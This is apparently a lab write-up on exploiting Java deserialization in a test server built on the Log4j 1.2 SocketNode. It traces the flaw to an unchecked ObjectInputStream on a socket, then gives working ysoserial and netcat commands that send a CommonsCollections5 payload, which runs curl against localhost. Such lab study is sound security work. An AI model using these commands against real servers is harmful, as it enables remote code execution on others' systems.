Java deserialization: ysoserial
Setup
JankenTestLogServer.jar - Apache Log4j 1.2.X server ( JankenTestLogServer.jar )
Java 1.8 : java jdk1.7.0_80
jadx: Java decompiler OR web java decompiler: jdec
config.properties - config file with following content
log4j.rootLogger=DEBUG, consoleAppender, fileAppender
log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender=org.apache.log4j.RollingFileAppender
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.fileAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender.File=demoApplication.log
Running the log4j server. We run it on port 5111
(first argument) with config.properties
as config file(2nd argument)
$ java -jar JankenTestLogServer.jar 5111 config.properties # this will run a server on port 5111 listening for socket connection
# config.properties file is described above in setup
Finding the bug
Open JankenTestLogServer.jar
with jadx
to view the source code.

try {
logger.info("Listening on port " + port);
ServerSocket serverSocket = new ServerSocket(port);
while (true) {
logger.info("Waiting to accept a new client.");
Socket socket = serverSocket.accept();
logger.info("Connected to client at " + socket.getInetAddress());
logger.info("Starting new socket node.");
new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();
}
} catch (Exception e) {
e.printStackTrace();
}
The code starts Listening on port provided(5111 in our case) and whenever there is a new connection a new Thread is spawn to fulfil the socket request. The following code is responsible for that:
new Thread(new SocketNode(socket, LogManager.getLoggerRepository()),
"JankenTestLogServerApplication-" + port).start();
So lets inspect SocketNode
function. Its imported from import org.apache.log4j.net.SocketNode;
. Lets open SocketNode.java

public SocketNode(Socket socket2, LoggerRepository hierarchy2) {
this.socket = socket2;
this.hierarchy = hierarchy2;
try {
this.ois = new ObjectInputStream(new BufferedInputStream(socket2.getInputStream()));
} catch (InterruptedIOException e) {
Thread.currentThread().interrupt();
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e);
} catch (IOException e2) {
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e2);
} catch (RuntimeException e3) {
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e3);
}
}
So the Input from socket stream is read directly into ObjectInputStream
and this is where Deserialization occurs. So we just need to send a serialized rce object and this will get us rce.
Exploit
$ tar -xf jdk-7u80-linux-x64.tar.gz
$ ./jdk-7u80-linux-x64/bin/java -jar ysoserial.jar CommonsCollections5 "curl http://localhost:1111/" > haxtest.bin
$ cat haxtest.bin | nc localhost 5111

Enjoy the rce
Last updated